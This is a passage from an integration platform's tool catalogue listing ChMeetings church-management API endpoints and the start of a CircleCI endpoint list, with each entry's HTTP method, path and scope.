chmeetings_get_api_v1_organizations_by_organization_id_accounting_payees_by_payee_id (read) — Gets a single payee by its ID within an organization. Returns 404 when the payee does not exist in that organization. via GET /api/v1/organizations/{organization_id}/accounting/payees/{payee_id} GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/accounting/payees/{payee_id}. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_accounting_transactions (read) — Get the ledger transactions of an organization with their split lines, paged, newest first. Same filters as the non-organization endpoint, scoped to the requested organization. via GET /api/v1/organizations/{organization_id}/accounting/transactions GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/accounting/transactions. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_accounting_transactions_by_transaction_id (read) — Gets a single ledger transaction by its ID within an organization, including its split lines. Returns 404 when the transaction does not exist in that organization. via GET /api/v1/organizations/{organization_id}/accounting/transactions/{transaction_id} GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/accounting/transactions/{transaction_id}. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_events (read) — Get events in organization within a date range with pagination. Each event includes a `visibility` value ("internal", "members", or "public") and an `image_url` (CDN URL of the event image, or null when no image is set). via GET /api/v1/organizations/{organization_id}/events GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/events. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_events_by_event_id (read) — Returns a single event by its unique identifier within the organization. Response includes `visibility` ("internal", "members", or "public") and `image_url` (CDN URL of the event image, or null when no image is set). via GET /api/v1/organizations/{organization_id}/events/{event_id} GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/events/{event_id}. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_events_by_event_id_occurrences (read) — Returns both materialized and virtual (computed) occurrences for a given event within the organization. Each occurrence includes an `image_url` (CDN URL of the occurrence image, or null when no image is set). For materialized occurrences the schedule's own image is used when set; otherwise the parent event's image is returned. For virtual occurrences the parent event's image is always returned. via GET /api/v1/organizations/{organization_id}/events/{event_id}/occurrences GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/events/{event_id}/occurrences. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_events_by_event_id_statistics (read) — Same as GET /events/{event_id}/statistics, scoped to the given organization. via GET /api/v1/organizations/{organization_id}/events/{event_id}/statistics GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/events/{event_id}/statistics. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_follow_ups (read) — Get follow-ups (pastoral follow-up tasks) in the organization with paging and filtering options. - A follow-up is a task to follow up with a specific person, optionally assigned to one or more people (`assignees`) and categorized by a follow-up action. - Filters are combined with AND; omit a filter to leave it unapplied. An unknown `person_id`/`assignee_id`/`action_id` yields an empty page, not an error. - Results are sorted by scheduled date descending. - All dates and times are church-local wall-clock: `date` is the scheduled date, `completed_on` is when the follow-up was marked done, `created_on`/`updated_on` are record audit stamps. via GET /api/v1/organizations/{organization_id}/follow-ups GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/follow-ups. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_follow_ups_actions (read) — Get the follow-up actions (categories) available to the organization, sorted by name, unpaged. via GET /api/v1/organizations/{organization_id}/follow-ups/actions GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/follow-ups/actions. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_follow_ups_by_follow_up_id (read) — Returns a single follow-up by its unique identifier within the organization. All dates and times are church-local wall-clock: `date` is the scheduled date, `completed_on` is when the follow-up was marked done. via GET /api/v1/organizations/{organization_id}/follow-ups/{follow_up_id} GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/follow-ups/{follow_up_id}. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_groups (read) — Get groups in organization with paging and search options. via GET /api/v1/organizations/{organization_id}/groups GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/groups. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_groups_by_group_id (read) — Gets a single group by its id within an organization. Returns 404 when the group does not exist in that organization. via GET /api/v1/organizations/{organization_id}/groups/{group_id} GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/groups/{group_id}. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_groups_by_group_id_memberships (read) — Retrieves all people of a specific group within an organization with filtering and pagination. via GET /api/v1/organizations/{organization_id}/groups/{group_id}/memberships GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/groups/{group_id}/memberships. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_occurrences_by_occurrence_id (read) — Resolves a materialized (numeric ID) or virtual occurrence within the organization. via GET /api/v1/organizations/{organization_id}/occurrences/{occurrence_id} GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/occurrences/{occurrence_id}. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_occurrences_by_occurrence_id_attendance (read) — Returns the full attendance list for occurrence within the organization, with optional status filter and pagination. via GET /api/v1/organizations/{organization_id}/occurrences/{occurrence_id}/attendance GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/occurrences/{occurrence_id}/attendance. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_occurrences_by_occurrence_id_attendance_summary (read) — Returns attendance statistics for an occurrence within the organization. via GET /api/v1/organizations/{organization_id}/occurrences/{occurrence_id}/attendance/summary GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/occurrences/{occurrence_id}/attendance/summary. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_people (read) — Retrieves all people belonging to a specific organization with filtering and pagination. The example response shows every optional expansion. Each appears only when asked for: `organizations` with `include_organizations=true` and `groups` with `include_groups=true`. When an expansion is requested and the person has nothing to show, the key is present with an empty list; when it is not requested the key is absent entirely. The remaining fields depend on the account's profile-field configuration, so a field the account has disabled is omitted rather than returned as null. via GET /api/v1/organizations/{organization_id}/people GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/people. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_posts (read) — Get all organization posts with paging and filtering options. Available filters: status (draft/published), start_date, end_date. Supports pagination via page and page_size. Each post includes an `image_url` (CDN URL of the post image, or null when no image is set). via GET /api/v1/organizations/{organization_id}/posts GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/posts. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_posts_by_post_id (read) — Get a single organization post by its Id. Response includes an `image_url` (CDN URL of the post image, or null when no image is set). via GET /api/v1/organizations/{organization_id}/posts/{post_id} GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/posts/{post_id}. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_posts_by_post_id_comments (read) — Get all organization comments for a specific post with pagination support. via GET /api/v1/organizations/{organization_id}/posts/{post_id}/comments GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/posts/{post_id}/comments. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_posts_by_post_id_likes (read) — Get all organization likes for a specific post with pagination support. via GET /api/v1/organizations/{organization_id}/posts/{post_id}/likes GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/posts/{post_id}/likes. Scopes: api. chmeetings_get_api_v1_organizations_by_organization_id_posts_categories (read) — Get all organization post categories with pagination support. via GET /api/v1/organizations/{organization_id}/posts/categories GET /api/v1/chmeetings/api/v1/organizations/{organization_id}/posts/categories. Scopes: api. chmeetings_get_api_v1_people (read) — Get all people with paging and filtering options The example response shows every optional expansion. Each appears only when asked for: `organizations` with `include_organizations=true` and `groups` with `include_groups=true`. When an expansion is requested and the person has nothing to show, the key is present with an empty list; when it is not requested the key is absent entirely. The remaining fields depend on the account's profile-field configuration, so a field the account has disabled is omitted rather than returned as null. via GET /api/v1/people GET /api/v1/chmeetings/api/v1/people. Scopes: api. chmeetings_get_api_v1_people_by_id (read) — Get person by Id via GET /api/v1/people/{id} GET /api/v1/chmeetings/api/v1/people/{id}. Scopes: api. chmeetings_get_api_v1_people_by_person_id_notes (read) — Retrieve all public notes for a specific person with paging. via GET /api/v1/people/{person_id}/notes GET /api/v1/chmeetings/api/v1/people/{person_id}/notes. Scopes: api. chmeetings_get_api_v1_people_by_person_id_notes_by_note_id (read) — Retrieve member note by id. via GET /api/v1/people/{person_id}/notes/{note_id} GET /api/v1/chmeetings/api/v1/people/{person_id}/notes/{note_id}. Scopes: api. chmeetings_get_api_v1_people_by_person_id_organizations (read) — Returns all organizations (diocese, church, ministry) a person belongs to within the account scope, with paging. Main church entries are returned first. via GET /api/v1/people/{person_id}/organizations GET /api/v1/chmeetings/api/v1/people/{person_id}/organizations. Scopes: api. chmeetings_get_api_v1_people_fields (read) — Get all member fields via GET /api/v1/people/fields GET /api/v1/chmeetings/api/v1/people/fields. Scopes: api. chmeetings_get_api_v1_people_genders (read) — Get all Genders via GET /api/v1/people/genders GET /api/v1/chmeetings/api/v1/people/genders. Scopes: api. chmeetings_get_api_v1_people_grade_values (read) — Get all Grade Values via GET /api/v1/people/grade-values GET /api/v1/chmeetings/api/v1/people/grade-values. Scopes: api. chmeetings_get_api_v1_people_social_statuses (read) — Get all Social Statuses via GET /api/v1/people/social-statuses GET /api/v1/chmeetings/api/v1/people/social-statuses. Scopes: api. chmeetings_get_api_v1_posts (read) — Get all posts with paging and filtering options. Available filters: status (draft/published), start_date, end_date. Supports pagination via page and page_size. Each post includes an `image_url` (CDN URL of the post image, or null when no image is set). via GET /api/v1/posts GET /api/v1/chmeetings/api/v1/posts. Scopes: api. chmeetings_get_api_v1_posts_by_id (read) — Get a single post by its Id. Response includes an `image_url` (CDN URL of the post image, or null when no image is set). via GET /api/v1/posts/{id} GET /api/v1/chmeetings/api/v1/posts/{id}. Scopes: api. chmeetings_get_api_v1_posts_by_post_id_comments (read) — Get all comments for a specific post with pagination support. via GET /api/v1/posts/{post_id}/comments GET /api/v1/chmeetings/api/v1/posts/{post_id}/comments. Scopes: api. chmeetings_get_api_v1_posts_by_post_id_likes (read) — Get all likes for a specific post with pagination support. via GET /api/v1/posts/{post_id}/likes GET /api/v1/chmeetings/api/v1/posts/{post_id}/likes. Scopes: api. chmeetings_get_api_v1_posts_categories (read) — Get all post categories with pagination support. via GET /api/v1/posts/categories GET /api/v1/chmeetings/api/v1/posts/categories. Scopes: api. chmeetings_patch_api_v1_families_by_id_members_by_person_id (write) — Change a family member's role via PATCH /api/v1/families/{id}/members/{person_id} PATCH /api/v1/chmeetings/api/v1/families/{id}/members/{person_id}. Scopes: api. chmeetings_post_api_v1_contributions (write) — Create a new contribution. Send a unique reference_id (idempotency key) with each contribution: posting the same reference_id again is rejected as a duplicate, which makes retries safe. via POST /api/v1/contributions POST /api/v1/chmeetings/api/v1/contributions. Scopes: api. chmeetings_post_api_v1_contributions_batches (write) — Create a new batch via POST /api/v1/contributions/batches POST /api/v1/chmeetings/api/v1/contributions/batches. Scopes: api. chmeetings_post_api_v1_contributions_batches_by_id_close (write) — Close a contribution batch to prevent further contributions from being added via POST /api/v1/contributions/batches/{id}/close POST /api/v1/chmeetings/api/v1/contributions/batches/{id}/close. Scopes: api. chmeetings_post_api_v1_contributions_batches_by_id_reopen (write) — Reopen a contribution batch to allow contributions to be added again via POST /api/v1/contributions/batches/{id}/reopen POST /api/v1/chmeetings/api/v1/contributions/batches/{id}/reopen. Scopes: api. chmeetings_post_api_v1_contributions_funds (write) — Create a new contribution fund with the specified properties via POST /api/v1/contributions/funds POST /api/v1/chmeetings/api/v1/contributions/funds. Scopes: api. chmeetings_post_api_v1_contributions_payment_methods (write) — Create a new custom payment method via POST /api/v1/contributions/payment-methods POST /api/v1/chmeetings/api/v1/contributions/payment-methods. Scopes: api. chmeetings_post_api_v1_families (write) — Create a new family with members (minimum 2 members required) via POST /api/v1/families POST /api/v1/chmeetings/api/v1/families. Scopes: api. chmeetings_post_api_v1_families_by_id_members (write) — Add members to an existing family via POST /api/v1/families/{id}/members POST /api/v1/chmeetings/api/v1/families/{id}/members. Scopes: api. chmeetings_post_api_v1_groups (write) — Creates a new group and returns the created group. Returns 400 when the name is already used by another group. via POST /api/v1/groups POST /api/v1/chmeetings/api/v1/groups. Scopes: api. chmeetings_post_api_v1_groups_by_group_id_memberships (write) — Adds a person to a group. Returns 201 if created, 200 if already exists. via POST /api/v1/groups/{group_id}/memberships POST /api/v1/chmeetings/api/v1/groups/{group_id}/memberships. Scopes: api. chmeetings_post_api_v1_integrations_webhooks (write) — Creates a subscription owned by the church. The response carries the signing secret, which is used to verify the `ChMeetings-Webhook-Signature` header on delivery. Delivery is at-least-once and is delayed at least a minute after the triggering action (about 4 to 5 minutes for `person.*` events), so key on `event_id` to spot a repeat. Answer `410 Gone` to have the subscription removed automatically. via POST /api/v1/integrations/webhooks POST /api/v1/chmeetings/api/v1/integrations/webhooks. Scopes: api. chmeetings_post_api_v1_occurrences_by_occurrence_id_check_ins (write) — - Checks a person in to the occurrence (creates the attendance record). - Idempotent: if the person is already checked in, the existing record is returned with 200. - occurred_at is optional and is the church's local wall-clock time in yyyy-MM-ddTHH:mm:ss (e.g. 2026-08-09T09:14:23). Fractional seconds are accepted and truncated. A UTC offset (Z or +03:00) is rejected with 400 - convert to the church's timezone before sending; do not simply strip the offset, or the time will be stored wrong. Defaults to now. Offline clients pass the locally recorded time when they sync. - Returns 201 with the attendance record; check_in_code is populated when the event has name tags enabled. - Concurrent duplicate check-ins return 409; retrying returns the winning record with 200. via POST /api/v1/occurrences/{occurrence_id}/check-ins POST /api/v1/chmeetings/api/v1/occurrences/{occurrence_id}/check-ins. Scopes: api. chmeetings_post_api_v1_occurrences_by_occurrence_id_check_outs (write) — - Checks a person out of the occurrence (sets checked_out_at on the attendance record). - Requires an existing check-in (422 otherwise) and the event's check-out option enabled. - Idempotent: if the person is already checked out, the existing record is returned with 200. - occurred_at is optional and is the church's local wall-clock time in yyyy-MM-ddTHH:mm:ss (e.g. 2026-08-09T09:14:23). Fractional seconds are accepted and truncated. A UTC offset (Z or +03:00) is rejected with 400 - convert to the church's timezone before sending; do not simply strip the offset, or the time will be stored wrong. Defaults to now. Offline clients pass the locally recorded time when they sync. - Rejected with 422 when occurred_at is before the recorded check-in time. via POST /api/v1/occurrences/{occurrence_id}/check-outs POST /api/v1/chmeetings/api/v1/occurrences/{occurrence_id}/check-outs. Scopes: api. chmeetings_post_api_v1_organizations_by_organization_id_groups (write) — Creates a new group within an organization and returns the created group. Returns 400 when the name is already used by another group in that organization. via POST /api/v1/organizations/{organization_id}/groups POST /api/v1/chmeetings/api/v1/organizations/{organization_id}/groups. Scopes: api. chmeetings_post_api_v1_organizations_by_organization_id_groups_by_group_id_memberships (write) — Adds a person to a group within an organization. Returns 201 if created, 200 if already exists. via POST /api/v1/organizations/{organization_id}/groups/{group_id}/memberships POST /api/v1/chmeetings/api/v1/organizations/{organization_id}/groups/{group_id}/memberships. Scopes: api. chmeetings_post_api_v1_organizations_by_organization_id_occurrences_by_occurrence_id_check_ins (write) — - Checks a person in to the occurrence (creates the attendance record). - Idempotent: if the person is already checked in, the existing record is returned with 200. - occurred_at is optional and is the church's local wall-clock time in yyyy-MM-ddTHH:mm:ss (e.g. 2026-08-09T09:14:23). Fractional seconds are accepted and truncated. A UTC offset (Z or +03:00) is rejected with 400 - convert to the church's timezone before sending; do not simply strip the offset, or the time will be stored wrong. Defaults to now. Offline clients pass the locally recorded time when they sync. - Returns 201 with the attendance record; check_in_code is populated when the event has name tags enabled. - Concurrent duplicate check-ins return 409; retrying returns the winning record with 200. via POST /api/v1/organizations/{organization_id}/occurrences/{occurrence_id}/check-ins POST /api/v1/chmeetings/api/v1/organizations/{organization_id}/occurrences/{occurrence_id}/check-ins. Scopes: api. chmeetings_post_api_v1_organizations_by_organization_id_occurrences_by_occurrence_id_check_outs (write) — - Checks a person out of the occurrence (sets checked_out_at on the attendance record). - Requires an existing check-in (422 otherwise) and the event's check-out option enabled. - Idempotent: if the person is already checked out, the existing record is returned with 200. - occurred_at is optional and is the church's local wall-clock time in yyyy-MM-ddTHH:mm:ss (e.g. 2026-08-09T09:14:23). Fractional seconds are accepted and truncated. A UTC offset (Z or +03:00) is rejected with 400 - convert to the church's timezone before sending; do not simply strip the offset, or the time will be stored wrong. Defaults to now. Offline clients pass the locally recorded time when they sync. - Rejected with 422 when occurred_at is before the recorded check-in time. via POST /api/v1/organizations/{organization_id}/occurrences/{occurrence_id}/check-outs POST /api/v1/chmeetings/api/v1/organizations/{organization_id}/occurrences/{occurrence_id}/check-outs. Scopes: api. chmeetings_post_api_v1_organizations_by_organization_id_people (write) — Adds an existing person to an organization. Returns 201 if the membership was created, 200 if the person was already a member. Get `organization_id` from `GET /api/v1/organizations` — it is an opaque string, not a number. The person is also added to the organization's parent church and account when they are not already a member there, so `organizations` in the response can list more than the one you requested. An organization outside the API key's tree returns 400, not 404. via POST /api/v1/organizations/{organization_id}/people POST /api/v1/chmeetings/api/v1/organizations/{organization_id}/people. Scopes: api. chmeetings_post_api_v1_organizations_by_organization_id_posts (write) — Create a new organization post. Status and visibility are required. Valid `visibility` values: "internal", "members", "public". Note: the legacy value "users" was renamed to "internal" — update any integrations sending "users". Set notify_members to true to send push notifications to members — only takes effect when status is set to published. via POST /api/v1/organizations/{organization_id}/posts POST /api/v1/chmeetings/api/v1/organizations/{organization_id}/posts. Scopes: api. chmeetings_post_api_v1_people (write) — Create a new person via POST /api/v1/people POST /api/v1/chmeetings/api/v1/people. Scopes: api. chmeetings_post_api_v1_people_by_person_id_notes (write) — Create a new member note. via POST /api/v1/people/{person_id}/notes POST /api/v1/chmeetings/api/v1/people/{person_id}/notes. Scopes: api. chmeetings_post_api_v1_posts (write) — Create a new post. Status and visibility are required. Valid `visibility` values: "internal", "members", "public". Note: the legacy value "users" was renamed to "internal" — update any integrations sending "users". Set notify_members to true to send push notifications to members — only takes effect when status is set to published. via POST /api/v1/posts POST /api/v1/chmeetings/api/v1/posts. Scopes: api. chmeetings_put_api_v1_contributions_batches_by_id (write) — Updates a contribution batch. If 'date' is provided, the batch date is updated; if 'date' is null or omitted, the existing date remains unchanged. via PUT /api/v1/contributions/batches/{id} PUT /api/v1/chmeetings/api/v1/contributions/batches/{id}. Scopes: api. chmeetings_put_api_v1_contributions_funds_by_id (write) — Update an existing contribution fund's properties via PUT /api/v1/contributions/funds/{id} PUT /api/v1/chmeetings/api/v1/contributions/funds/{id}. Scopes: api. chmeetings_put_api_v1_contributions_payment_methods_by_id (write) — Update an existing custom payment method. System payment methods cannot be updated. via PUT /api/v1/contributions/payment-methods/{id} PUT /api/v1/chmeetings/api/v1/contributions/payment-methods/{id}. Scopes: api. chmeetings_put_api_v1_families_by_id_members (write) — Replace all family members (minimum 2 members required) via PUT /api/v1/families/{id}/members PUT /api/v1/chmeetings/api/v1/families/{id}/members. Scopes: api. chmeetings_put_api_v1_groups_by_group_id (write) — Replaces a group's editable fields and returns the updated group. This is a full replacement — any omitted field is reset to its default. Returns 404 when the group does not exist, and 400 when the name is already used by another group. via PUT /api/v1/groups/{group_id} PUT /api/v1/chmeetings/api/v1/groups/{group_id}. Scopes: api. chmeetings_put_api_v1_integrations_webhooks_by_id (write) — Replaces the URL, the event list and the active flag. Only subscriptions the church owns can be updated; one managed by Zapier answers `403`. Setting `is_active` back to true on a subscription that repeated delivery failures disabled. via PUT /api/v1/integrations/webhooks/{id} PUT /api/v1/chmeetings/api/v1/integrations/webhooks/{id}. Scopes: api. chmeetings_put_api_v1_organizations_by_organization_id_groups_by_group_id (write) — Replaces the editable fields of a group within an organization and returns the updated group. This is a full replacement — any omitted field is reset to its default. Returns 404 when the group does not exist in that organization, and 400 when the name is already used by another group in it. via PUT /api/v1/organizations/{organization_id}/groups/{group_id} PUT /api/v1/chmeetings/api/v1/organizations/{organization_id}/groups/{group_id}. Scopes: api. chmeetings_put_api_v1_organizations_by_organization_id_posts_by_post_id (write) — Update an existing organization post. Valid `visibility` values: "internal", "members", "public". Note: the legacy value "users" was renamed to "internal" — update any integrations sending "users". Set notify_members to true to send push notifications to members — only takes effect when status is set to published. via PUT /api/v1/organizations/{organization_id}/posts/{post_id} PUT /api/v1/chmeetings/api/v1/organizations/{organization_id}/posts/{post_id}. Scopes: api. chmeetings_put_api_v1_people_by_id (write) — Fully updates a person by Id. This is a full replacement — omitted fields will be cleared. via PUT /api/v1/people/{id} PUT /api/v1/chmeetings/api/v1/people/{id}. Scopes: api. chmeetings_put_api_v1_people_by_person_id_notes_by_note_id (write) — Update a member note. via PUT /api/v1/people/{person_id}/notes/{note_id} PUT /api/v1/chmeetings/api/v1/people/{person_id}/notes/{note_id}. Scopes: api. chmeetings_put_api_v1_posts_by_id (write) — Update an existing post. Valid `visibility` values: "internal", "members", "public". Note: the legacy value "users" was renamed to "internal" — update any integrations sending "users". Set notify_members to true to send push notifications to members — only takes effect when status is set to published. via PUT /api/v1/posts/{id} PUT /api/v1/chmeetings/api/v1/posts/{id}. Scopes: api. ================================================================================ ## CircleCI URL: https://www.agenticfabriq.com/integrations/circleci Section: Integrated Tools CircleCI — 111 MCP tools Provider key: circleci. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. circleci_delete_context_by_context_id (write, destructive) — Delete a context by its ID. Will also delete all environment variables inside the context. via DELETE /context/{context_id} DELETE /api/v1/circleci/context/{context_id}. Scopes: api. circleci_delete_context_by_context_id_environment_variable_by_env_var_name (write, destructive) — Delete an environment variable from a context. via DELETE /context/{context_id}/environment-variable/{env_var_name} DELETE /api/v1/circleci/context/{context_id}/environment-variable/{env_var_name}. Scopes: api. circleci_delete_context_by_context_id_restrictions_by_restriction_id (write, destructive) — Deletes a project, expression or group restriction from a context. via DELETE /context/{context_id}/restrictions/{restriction_id} DELETE /api/v1/circleci/context/{context_id}/restrictions/{restriction_id}. Scopes: api. circleci_delete_org_by_orgid_oidc_custom_claims (write, destructive) — Deletes org-level custom claims of OIDC identity tokens via DELETE /org/{orgID}/oidc-custom-claims DELETE /api/v1/circleci/org/{orgID}/oidc-custom-claims. Scopes: api. circleci_delete_org_by_orgid_project_by_projectid_oidc_custom_claims (write, destructive) — Deletes project-level custom claims of OIDC identity tokens via DELETE /org/{orgID}/project/{projectID}/oidc-custom-claims DELETE /api/v1/circleci/org/{orgID}/project/{projectID}/oidc-custom-claims. Scopes: api. circleci_delete_organization_by_org_slug_or_id (write, destructive) — Delete an organization. This action will delete all projects including all build data for the organization. via DELETE /organization/{org-slug-or-id} DELETE /api/v1/circleci/organization/{org_slug_or_id}. Scopes: api. circleci_delete_organization_by_org_slug_or_id_url_orb_allow_list_by_allow_list_entry_id (write, destructive) — Remove an entry from the org's URL orb allow-list via DELETE /organization/{org-slug-or-id}/url-orb-allow-list/{allow-list-entry-id} DELETE /api/v1/circleci/organization/{org_slug_or_id}/url-orb-allow-list/{allow_list_entry_id}. Scopes: api. circleci_delete_organizations_by_org_id_groups_by_group_id (write, destructive) — Delete a group in an organization. This will remove all members from the group as well, and the subsequent role grants tied to the group. Currently only supported for standalone organizations. via DELETE /organizations/{org_id}/groups/{group_id} DELETE /api/v1/circleci/organizations/{org_id}/groups/{group_id}. Scopes: api. circleci_delete_otel_exporters_by_otel_exporter_id (write, destructive) — [__EXPERIMENTAL__] Deletes an OTLP exporter configuration by ID. via DELETE /otel/exporters/{otel_exporter_id} DELETE /api/v1/circleci/otel/exporters/{otel_exporter_id}. Scopes: api. circleci_delete_project_by_project_slug (write, destructive) — Deletes a project by project slug via DELETE /project/{project-slug} DELETE /api/v1/circleci/project/{project_slug}. Scopes: api. circleci_delete_project_by_project_slug_checkout_key_by_fingerprint (write, destructive) — Deletes the checkout key via md5 or sha256 fingerprint. sha256 keys should be url-encoded. via DELETE /project/{project-slug}/checkout-key/{fingerprint} DELETE /api/v1/circleci/project/{project_slug}/checkout-key/{fingerprint}. Scopes: api. circleci_delete_project_by_project_slug_envvar_by_name (write, destructive) — Deletes the environment variable named :name. via DELETE /project/{project-slug}/envvar/{name} DELETE /api/v1/circleci/project/{project_slug}/envvar/{name}. Scopes: api. circleci_delete_projects_by_project_id_pipeline_definitions_by_pipeline_definition_id (write, destructive) — Delete pipeline definition. Currently only supported for pipeline definitions where `config_source.provider` is `github_app`, `github_server`, or `bitbucket_dc`. [Share feedback](https://circleci.canny.io/cloud-feature-requests/p/project-administration-apis) about our Project Administration APIs. via DELETE /projects/{project_id}/pipeline-definitions/{pipeline_definition_id} DELETE /api/v1/circleci/projects/{project_id}/pipeline-definitions/{pipeline_definition_id}. Scopes: api. circleci_delete_projects_by_project_id_triggers_by_trigger_id (write, destructive) — Delete a trigger. Currently only supported for triggers where `event_source.provider` is `github_oauth`, `github_app`, `github_server`, `bitbucket_dc`, `webhook`, or `schedule`. [Share feedback](https://circleci.canny.io/cloud-feature-requests/p/project-administration-apis) about our Project Administration APIs. via DELETE /projects/{project_id}/triggers/{trigger_id} DELETE /api/v1/circleci/projects/{project_id}/triggers/{trigger_id}. Scopes: api. circleci_delete_schedule_by_schedule_id (write, destructive) — Deletes a schedule by ID. Available only on schedules associated with GitHub OAuth or Bitbucket Cloud pipeline definitions. via DELETE /schedule/{schedule-id} DELETE /api/v1/circleci/schedule/{schedule_id}. Scopes: api. circleci_delete_webhook_by_webhook_id (write, destructive) — Deletes an existing outbound webhook by its unique ID. via DELETE /webhook/{webhook_id} DELETE /api/v1/circleci/webhook/{webhook_id}. Scopes: api. circleci_get_context (read) — List all contexts for an owner. via GET /context GET /api/v1/circleci/context. Scopes: api. circleci_get_context_by_context_id (read) — Returns basic information about a context. via GET /context/{context_id} GET /api/v1/circleci/context/{context_id}. Scopes: api. circleci_get_context_by_context_id_environment_variable (read) — List information about environment variables in a context, not including their values. via GET /context/{context_id}/environment-variable GET /api/v1/circleci/context/{context_id}/environment-variable. Scopes: api. circleci_get_context_by_context_id_restrictions (read) — Gets a list of project and expression restrictions associated with a context. via GET /context/{context_id}/restrictions GET /api/v1/circleci/context/{context_id}/restrictions. Scopes: api. circleci_get_deploy_components (read) — Allows for listing of components for a given organization ID. via GET /deploy/components GET /api/v1/circleci/deploy/components. Scopes: api. circleci_get_deploy_components_by_component_id (read) — Get the details of a component by ID. via GET /deploy/components/{component_id} GET /api/v1/circleci/deploy/components/{component_id}. Scopes: api. circleci_get_deploy_components_by_component_id_versions (read) — List the versions for a component. via GET /deploy/components/{component_id}/versions GET /api/v1/circleci/deploy/components/{component_id}/versions. Scopes: api. circleci_get_deploy_environments (read) — Allows listing environments for a given organization ID. via GET /deploy/environments GET /api/v1/circleci/deploy/environments. Scopes: api. circleci_get_deploy_environments_by_environment_id (read) — Allows getting an environment for a given environment ID. via GET /deploy/environments/{environment_id} GET /api/v1/circleci/deploy/environments/{environment_id}. Scopes: api. circleci_get_insights_by_org_slug_summary (read) — Gets aggregated summary metrics with trends for the entire org. Also gets aggregated metrics and trends for each project belonging to the org. via GET /insights/{org-slug}/summary GET /api/v1/circleci/insights/{org_slug}/summary. Scopes: api. circleci_get_insights_by_project_slug_branches (read) — Get a list of all branches for a specified project. The list will only contain branches currently available within Insights. The maximum number of branches returned by this endpoint is 5,000. via GET /insights/{project-slug}/branches GET /api/v1/circleci/insights/{project_slug}/branches. Scopes: api. circleci_get_insights_by_project_slug_flaky_tests (read) — Get a list of flaky tests for a given project. Flaky tests are branch agnostic. A flaky test is a test that passed and failed in the same commit. via GET /insights/{project-slug}/flaky-tests GET /api/v1/circleci/insights/{project_slug}/flaky-tests. Scopes: api. circleci_get_insights_by_project_slug_workflows (read) — Get summary metrics for a project's workflows. Workflow runs going back at most 90 days are included in the aggregation window. Metrics are refreshed daily, and thus may not include executions from the last 24 hours. Please note that Insights is not a financial reporting tool and should not be used for precise credit reporting. Credit reporting from Insights does not use the same source of truth as the billing information that is found in the Plan Overview page in the CircleCI UI, nor does the underlying data have the same data accuracy guarantees as the billing information in the CircleCI UI. This may lead to discrepancies between credits reported from Insights and the billing information in the Plan Overview page of the CircleCI UI. For precise credit reporting, always use the Plan Overview page in the CircleCI UI. via GET /insights/{project-slug}/workflows GET /api/v1/circleci/insights/{project_slug}/workflows. Scopes: api. circleci_get_insights_by_project_slug_workflows_by_workflow_name (read) — Get recent runs of a workflow. Runs going back at most 90 days are returned. Please note that Insights is not a financial reporting tool and should not be used for precise credit reporting. Credit reporting from Insights does not use the same source of truth as the billing information that is found in the Plan Overview page in the CircleCI UI, nor does the underlying data have the same data accuracy guarantees as the billing information in the CircleCI UI. This may lead to discrepancies between credits reported from Insights and the billing information in the Plan Overview page of the CircleCI UI. For precise credit reporting, always use the Plan Overview page in the CircleCI UI. via GET /insights/{project-slug}/workflows/{workflow-name} GET /api/v1/circleci/insights/{project_slug}/workflows/{workflow_name}. Scopes: api. circleci_get_insights_by_project_slug_workflows_by_workflow_name_jobs (read) — Get summary metrics for a project workflow's jobs. Job runs going back at most 90 days are included in the aggregation window. Metrics are refreshed daily, and thus may not include executions from the last 24 hours. Please note that Insights is not a financial reporting tool and should not be used for precise credit reporting. Credit reporting from Insights does not use the same source of truth as the billing information that is found in the Plan Overview page in the CircleCI UI, nor does the underlying data have the same data accuracy guarantees as the billing information in the CircleCI UI. This may lead to discrepancies between credits reported from Insights and the billing information in the Plan Overview page of the CircleCI UI. For precise credit reporting, always use the Plan Overview page in the CircleCI UI. via GET /insights/{project-slug}/workflows/{workflow-name}/jobs GET /api/v1/circleci/insights/{project_slug}/workflows/{workflow_name}/jobs. 